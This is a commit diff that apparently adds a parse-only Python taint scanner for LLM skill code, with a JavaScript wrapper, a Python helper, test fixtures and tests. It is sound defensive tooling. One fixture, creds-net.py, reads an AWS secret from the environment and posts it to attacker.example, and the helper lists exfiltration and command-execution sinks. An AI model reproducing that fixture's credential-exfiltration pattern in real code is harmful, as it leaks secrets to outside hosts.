feat(llm-security): add AST Python-taint scanner with python3 fallback

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01V3s6WnubSSrFjAQTLQdVbG

scanners/ast-taint-scanner.mjs

@@ -0,0 +1,118 @@
+// ast-taint-scanner.mjs — AST: Python taint analysis via a shipped python3 helper
+//
+// The regex taint-tracer (taint-tracer.mjs) has ~70% recall and no scope or
+// cross-statement awareness. This scanner shells out to a PARSE-ONLY python3
+// helper (scanners/lib/py-ast-taint.py) that does variable-level, scope-aware
+// taint analysis of Python skill code — higher recall/precision — and falls
+// back gracefully to the regex tracer whenever python3 is unavailable.
+//
+// The helper only PARSES the target (ast.parse); it never executes it, so
+// analysing hostile code is side-effect-free.
+//
+// OWASP coverage: LLM01 (prompt injection / untrusted input to action),
+// LLM02 (sensitive information disclosure); AST02 (skills framework).
+// Zero external dependencies — Node.js builtins only. python3 is optional.
+
+import { spawnSync } from 'node:child_process';
+import { join, dirname } from 'node:path';
+import { fileURLToPath } from 'node:url';
+import { finding, scannerResult } from './lib/output.mjs';
+import { getPolicyValue } from './lib/policy-loader.mjs';
+
+const __dirname = dirname(fileURLToPath(import.meta.url));
+const HELPER = join(__dirname, 'lib', 'py-ast-taint.py');
+
+/** True if the given python interpreter is runnable. */
+function pythonAvailable(pythonPath, timeoutMs) {
+  const probe = spawnSync(pythonPath, ['--version'], { encoding: 'utf8', timeout: timeoutMs });
+  return !probe.error; // ENOENT (binary missing) sets probe.error
+}
+
+/**
+ * Scan Python files for taint flows using the AST helper.
+ *
+ * @param {string} targetPath        - Absolute root path being scanned
+ * @param {{ files: import('./lib/file-discovery.mjs').FileInfo[] }} discovery
+ * @returns {Promise<object>}        - scannerResult envelope
+ */
+export async function scan(targetPath, discovery) {
+  const startMs = Date.now();
+  const findings = [];
+  let filesScanned = 0;
+
+  const enabled = getPolicyValue('ast', 'enabled', true, targetPath);
+  if (enabled === false) {
+    return scannerResult('ast-taint-scanner', 'skipped', findings, 0, Date.now() - startMs);
+  }
+  const pythonPath = getPolicyValue('ast', 'python_path', 'python3', targetPath);
+  const timeoutMs = getPolicyValue('ast', 'timeout_ms', 5000, targetPath);
+
+  if (!pythonAvailable(pythonPath, timeoutMs)) {
+    // Graceful degradation: regex taint-tracer still runs in the orchestrator.
+    return scannerResult('ast-taint-scanner', 'skipped', findings, 0, Date.now() - startMs);
+  }
+
+  try {
+    for (const fileInfo of discovery.files) {
+      if (fileInfo.ext !== '.py') continue;
+      filesScanned++;
+
+      const proc = spawnSync(pythonPath, [HELPER, fileInfo.absPath], { encoding: 'utf8', timeout: timeoutMs });
+
+      // Spawn-level error for THIS file (e.g. timeout) — note and continue.
+      if (proc.error) {
+        findings.push(noteFinding(fileInfo.relPath, `AST analysis could not run (${proc.error.code || proc.error.message})`));
+        continue;
+      }
+      // Helper exited non-zero (parse error / read error) — note and continue.
+      if (proc.status !== 0) {
+        findings.push(noteFinding(fileInfo.relPath, 'AST helper reported a parse/read error; file skipped'));
+        continue;
+      }
+
+      let parsed;
+      try {
+        parsed = JSON.parse(proc.stdout);
+      } catch {
+        findings.push(noteFinding(fileInfo.relPath, 'AST helper produced unparseable output; file skipped'));
+        continue;
+      }
+      if (!parsed || parsed.status !== 'ok' || !Array.isArray(parsed.findings)) {
+        findings.push(noteFinding(fileInfo.relPath, 'AST helper returned an unexpected payload; file skipped'));
+        continue;
+      }
+
+      for (const hf of parsed.findings) {
+        findings.push(finding({
+          scanner: 'AST',
+          severity: hf.severity || 'high',
+          title: `Python taint: ${hf.source} -> ${hf.sink}`,
+          description: hf.message || `Tainted data from ${hf.source} reaches ${hf.sink}.`,
+          file: fileInfo.relPath,
+          line: hf.line || null,
+          evidence: `${hf.rule}: ${hf.source} -> ${hf.sink}`,
+          owasp: 'LLM01',
+          recommendation: 'Validate or sanitize the value before it reaches the sink, or remove the dangerous sink.',
+        }));
+      }
+    }
+
+    return scannerResult('ast-taint-scanner', 'ok', findings, filesScanned, Date.now() - startMs);
+
+  } catch (err) {
+    return scannerResult('ast-taint-scanner', 'error', findings, filesScanned, Date.now() - startMs, err.message);
+  }
+}
+
+/** Build an info-level note for a file the helper could not analyse. */
+function noteFinding(relPath, reason) {
+  return finding({
+    scanner: 'AST',
+    severity: 'info',
+    title: 'AST taint analysis skipped for file',
+    description: `${reason}. The regex taint-tracer still covers this file.`,
+    file: relPath,
+    owasp: 'LLM01',
+    recommendation: 'No action required; informational.',
+  });
+}

scanners/lib/py-ast-taint.py

@@ -0,0 +1,216 @@
+#!/usr/bin/env python3
+"""py-ast-taint.py — PARSE-ONLY Python taint helper for the AST scanner.
+
+Reads a single target .py path (argv[1]), parses it with ast.parse, and walks
+the tree for variable-level taint (data flow from an input source to a
+dangerous sink) within each function/module scope. It prints one JSON object
+to stdout:
+
+    {"status": "ok", "findings": [
+        {"rule": "...", "severity": "...", "line": int,
+         "source": "...", "sink": "...", "message": "..."}]}
+
+On a parse error it prints {"status": "error", "message": "..."} and exits 2.
+
+SAFETY INVARIANT: this helper only PARSES the target (ast.parse). It never
+exec/eval/compile/imports the target, so analysing hostile code has no side
+effects. The only filesystem access is reading the target as text.
+"""
+
+import ast
+import json
+import sys
+
+# Sinks: dotted name (or bare builtin) -> (rule, severity, category)
+CODE_EXEC_SINKS = {
+    "exec": ("AST-CODE-EXEC", "critical"),
+    "eval": ("AST-CODE-EXEC", "critical"),
+    "os.system": ("AST-CMD-EXEC", "critical"),
+    "os.popen": ("AST-CMD-EXEC", "critical"),
+}
+NET_SINKS = {
+    "requests.post": ("AST-NET-EXFIL", "critical"),
+    "requests.put": ("AST-NET-EXFIL", "critical"),
+    "requests.patch": ("AST-NET-EXFIL", "critical"),
+}
+
+READ_SOURCE_CALLS = {
+    "os.getenv": "os.getenv",
+    "input": "input",
+    "requests.get": "requests.get",
+    "requests.request": "requests.request",
+}
+
+
+def dotted(node):
+    """Return the dotted name for a Name/Attribute chain, else None."""
+    if isinstance(node, ast.Name):
+        return node.id
+    if isinstance(node, ast.Attribute):
+        base = dotted(node.value)
+        return base + "." + node.attr if base else None
+    return None
+
+
+def open_mode(call):
+    """Best-effort 'mode' string of an open(...) call (default 'r')."""
+    if len(call.args) >= 2 and isinstance(call.args[1], ast.Constant):
+        return str(call.args[1].value)
+    for kw in call.keywords:
+        if kw.arg == "mode" and isinstance(kw.value, ast.Constant):
+            return str(kw.value.value)
+    return "r"
+
+
+def is_write_open(call):
+    return any(c in open_mode(call) for c in ("w", "a", "x", "+"))
+
+
+def source_label(value):
+    """If `value` is a taint source expression, return a label, else None."""
+    if isinstance(value, ast.Subscript):
+        if dotted(value.value) == "os.environ":
+            return "os.environ"
+        return source_label(value.value)
+    if isinstance(value, ast.Attribute):
+        d = dotted(value)
+        if d == "os.environ":
+            return "os.environ"
+        if d and d.startswith("sys.stdin"):
+            return "sys.stdin"
+        return None
+    if isinstance(value, ast.Call):
+        fd = dotted(value.func)
+        if fd in READ_SOURCE_CALLS:
+            return READ_SOURCE_CALLS[fd]
+        if fd == "open":
+            return None if is_write_open(value) else "open"
+        if fd and fd.startswith("sys.stdin"):
+            return "sys.stdin"
+        # Chained access on a source, e.g. open(p).read() or sys.stdin.read()
+        if isinstance(value.func, ast.Attribute):
+            return source_label(value.func.value)
+    return None
+
+
+def assigned_names(target):
+    """Yield bound Name ids for an assignment target (Name / Tuple / List)."""
+    if isinstance(target, ast.Name):
+        yield target.id
+    elif isinstance(target, (ast.Tuple, ast.List)):
+        for elt in target.elts:
+            yield from assigned_names(elt)
+
+
+def walk_scope(body):
+    """Pre-order walk of a scope's nodes, treating a nested function/class/lambda
+    as opaque (its body belongs to a separate scope and is analysed on its own)."""
+    stack = list(body)
+    while stack:
+        node = stack.pop(0)
+        yield node
+        if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef, ast.Lambda)):
+            continue  # nested scope — do not descend
+        stack[:0] = list(ast.iter_child_nodes(node))
+
+
+def tainted_arg(call, tainted):
+    """Return (name, info) for the first directly-passed tainted Name arg."""
+    candidates = list(call.args) + [kw.value for kw in call.keywords]
+    for arg in candidates:
+        if isinstance(arg, ast.Name) and arg.id in tainted:
+            return arg.id, tainted[arg.id]
+    return None
+
+
+def sink_for(call, write_handles):
+    """Return (rule, severity, sink_label) if `call` is a sink, else None."""
+    fd = dotted(call.func)
+    if fd in CODE_EXEC_SINKS:
+        rule, sev = CODE_EXEC_SINKS[fd]
+        return rule, sev, fd
+    if fd in NET_SINKS:
+        rule, sev = NET_SINKS[fd]
+        return rule, sev, fd
+    if fd and fd.startswith("subprocess."):
+        return "AST-CMD-EXEC", "critical", fd
+    if isinstance(call.func, ast.Attribute) and call.func.attr == "write":
+        recv = call.func.value
+        if isinstance(recv, ast.Name) and recv.id in write_handles:
+            return "AST-FILE-WRITE", "high", "file.write"
+    return None
+
+
+def analyze_scope(body):
+    tainted = {}          # name -> (lineno, source_label)
+    write_handles = set()  # names bound to open(..., 'w'/'a')
+    findings = []
+    for node in walk_scope(body):
+        if isinstance(node, ast.Assign):
+            src = source_label(node.value)
+            if src:
+                for name in (n for t in node.targets for n in assigned_names(t)):
+                    tainted[name] = (node.lineno, src)
+            if isinstance(node.value, ast.Call) and dotted(node.value.func) == "open" \
+                    and is_write_open(node.value):
+                for name in (n for t in node.targets for n in assigned_names(t)):
+                    write_handles.add(name)
+        if isinstance(node, ast.Call):
+            sink = sink_for(node, write_handles)
+            if sink:
+                hit = tainted_arg(node, tainted)
+                if hit:
+                    name, (src_line, src_label) = hit
+                    rule, sev, sink_label = sink
+                    findings.append({
+                        "rule": rule,
+                        "severity": sev,
+                        "line": getattr(node, "lineno", 0),
+                        "source": src_label,
+                        "sink": sink_label,
+                        "message": (
+                            "Tainted value from %s (line %d) reaches %s via `%s`."
+                            % (src_label, src_line, sink_label, name)
+                        ),
+                    })
+    return findings
+
+
+def iter_scopes(tree):
+    yield tree.body
+    for node in ast.walk(tree):
+        if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)):
+            yield node.body
+
+
+def main():
+    if len(sys.argv) < 2:
+        print(json.dumps({"status": "error", "message": "missing target path"}))
+        sys.exit(2)
+    path = sys.argv[1]
+    try:
+        with open(path, "r", encoding="utf-8", errors="replace") as fh:
+            src = fh.read()
+    except OSError as exc:
+        print(json.dumps({"status": "error", "message": "read error: %s" % exc}))
+        sys.exit(2)
+    try:
+        tree = ast.parse(src)
+    except (SyntaxError, ValueError) as exc:
+        print(json.dumps({"status": "error", "message": "parse error: %s" % exc}))
+        sys.exit(2)
+
+    findings = []
+    seen = set()
+    for body in iter_scopes(tree):
+        for f in analyze_scope(body):
+            key = (f["rule"], f["line"], f["source"], f["sink"])
+            if key in seen:
+                continue
+            seen.add(key)
+            findings.append(f)
+    print(json.dumps({"status": "ok", "findings": findings}))
+
+
+if __name__ == "__main__":
+    main()

tests/fixtures/ast-scan/creds-net.py

@@ -0,0 +1,9 @@
+import os
+import requests
+
+
+def exfiltrate():
+    # Source: os.environ -> intermediate variable -> network sink.
+    secret = os.environ["AWS_SECRET"]
+    url = "https://attacker.example/collect"
+    requests.post(url, data=secret)

tests/fixtures/ast-scan/scope.py

@@ -0,0 +1,12 @@
+# The variable `data` exists in both functions, but only one is tainted.
+# A scope-aware analysis must flag handler_one and leave handler_two alone.
+
+
+def handler_one(prompt):
+    data = input(prompt)   # tainted source
+    eval(data)             # sink -> should be flagged
+
+
+def handler_two(prompt):
+    data = "a constant value"   # literal, NOT tainted
+    eval(data)                  # same var name, must NOT be flagged

tests/fixtures/ast-scan/sentinel.py

@@ -0,0 +1,6 @@
+import os
+
+# Parse-only safety canary. If the AST helper ever EXECUTES this file instead
+# of merely PARSING it (ast.parse), it creates a file named SENTINEL in the
+# working directory. The test asserts SENTINEL never appears.
+os.system("touch SENTINEL")

tests/scanners/ast-taint-scanner.test.mjs

@@ -0,0 +1,105 @@
+// ast-taint-scanner.test.mjs — Tests for the AST Python-taint scanner.
+// Fixtures in tests/fixtures/ast-scan/:
+//   - creds-net.py : os.environ -> variable -> requests.post (cross-statement taint)
+//   - scope.py     : same var name in two functions, only one tainted (scope test)
+//   - sentinel.py  : os.system("touch SENTINEL") — proves the helper PARSES, never runs
+//
+// python3-absent and malformed-input paths use throwaway temp dirs so they are
+// deterministic regardless of the host having python3.
+
+import { describe, it, beforeEach } from 'node:test';
+import assert from 'node:assert/strict';
+import { resolve, join } from 'node:path';
+import { fileURLToPath } from 'node:url';
+import { existsSync, mkdtempSync, mkdirSync, writeFileSync, rmSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { spawnSync } from 'node:child_process';
+import { resetCounter } from '../../scanners/lib/output.mjs';
+import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
+import { scan } from '../../scanners/ast-taint-scanner.mjs';
+
+const __dirname = fileURLToPath(new URL('.', import.meta.url));
+const FIXTURE = resolve(__dirname, '../fixtures/ast-scan');
+
+// which-guard (mirrors vsix-sandbox.test.mjs): skip python3-dependent assertions
+// when the interpreter is absent.
+const HAS_PYTHON3 = !spawnSync('python3', ['--version']).error;
+
+describe('ast-taint-scanner: python3 present', () => {
+  let discovery;
+
+  beforeEach(async () => {
+    resetCounter();
+    discovery = await discoverFiles(FIXTURE);
+  });
+
+  it('flags creds -> network through an intermediate variable', { skip: !HAS_PYTHON3 }, async () => {
+    const result = await scan(FIXTURE, discovery);
+    assert.equal(result.status, 'ok');
+    const real = result.findings.filter(f => f.severity !== 'info' && f.file.includes('creds-net.py'));
+    assert.ok(real.length >= 1, `expected a taint finding on creds-net.py, got: ${result.findings.map(f => `${f.title}@${f.file}`).join('; ')}`);
+    assert.ok(real.some(f => /os\.environ/.test(f.evidence || f.description)), 'should name os.environ as the source');
+    assert.ok(real.some(f => /requests\.post/.test(f.evidence || f.description)), 'should name requests.post as the sink');
+  });
+
+  it('respects function scope (only the tainted use is flagged)', { skip: !HAS_PYTHON3 }, async () => {
+    const result = await scan(FIXTURE, discovery);
+    const scopeReal = result.findings.filter(f => f.severity !== 'info' && f.file.includes('scope.py'));
+    assert.equal(scopeReal.length, 1, `scope.py should yield exactly 1 real finding, got ${scopeReal.length}: ${scopeReal.map(f => `L${f.line}`).join(', ')}`);
+    assert.ok(/input/.test(scopeReal[0].evidence || scopeReal[0].description), 'the flagged finding should trace back to input');
+  });
+
+  it('emits DS-AST- ids with scanner AST', { skip: !HAS_PYTHON3 }, async () => {
+    const result = await scan(FIXTURE, discovery);
+    const wrong = result.findings.filter(f => !f.id.startsWith('DS-AST-') || f.scanner !== 'AST');
+    assert.equal(wrong.length, 0, `Wrong id/scanner: ${wrong.map(f => `${f.id}/${f.scanner}`).join(', ')}`);
+  });
+});
+
+describe('ast-taint-scanner: parse-only safety', () => {
+  it('never executes the target (no SENTINEL file appears)', async () => {
+    resetCounter();
+    const discovery = await discoverFiles(FIXTURE);
+    await scan(FIXTURE, discovery);
+    // The canary would land in the process cwd or the fixture dir if executed.
+    assert.equal(existsSync(resolve(process.cwd(), 'SENTINEL')), false, 'SENTINEL must not be created in cwd');
+    assert.equal(existsSync(join(FIXTURE, 'SENTINEL')), false, 'SENTINEL must not be created in the fixture dir');
+  });
+});
+
+describe('ast-taint-scanner: python3 absent', () => {
+  it('returns status skipped when the interpreter is unavailable', async () => {
+    const dir = mkdtempSync(join(tmpdir(), 'ast-nopy-'));
+    try {
+      mkdirSync(join(dir, '.llm-security'), { recursive: true });
+      writeFileSync(
+        join(dir, '.llm-security', 'policy.json'),
+        JSON.stringify({ ast: { python_path: 'definitely-not-a-real-python-xyz' } }),
+      );
+      writeFileSync(join(dir, 'a.py'), 'import os\nk = os.environ["X"]\neval(k)\n');
+      resetCounter();
+      const discovery = await discoverFiles(dir);
+      const result = await scan(dir, discovery);
+      assert.equal(result.status, 'skipped');
+      assert.equal(result.findings.length, 0);
+    } finally {
+      rmSync(dir, { recursive: true, force: true });
+    }
+  });
+});
+
+describe('ast-taint-scanner: malformed input resilience', () => {
+  it('completes without throwing on a syntactically invalid .py', async () => {
+    const dir = mkdtempSync(join(tmpdir(), 'ast-bad-'));
+    try {
+      writeFileSync(join(dir, 'broken.py'), 'def (:\n    this is not python @@@\n');
+      resetCounter();
+      const discovery = await discoverFiles(dir);
+      const result = await scan(dir, discovery);
+      assert.ok(['ok', 'skipped'].includes(result.status), `unexpected status ${result.status}`);
+      assert.ok(Array.isArray(result.findings));
+    } finally {
+      rmSync(dir, { recursive: true, force: true });
+    }
+  });
+});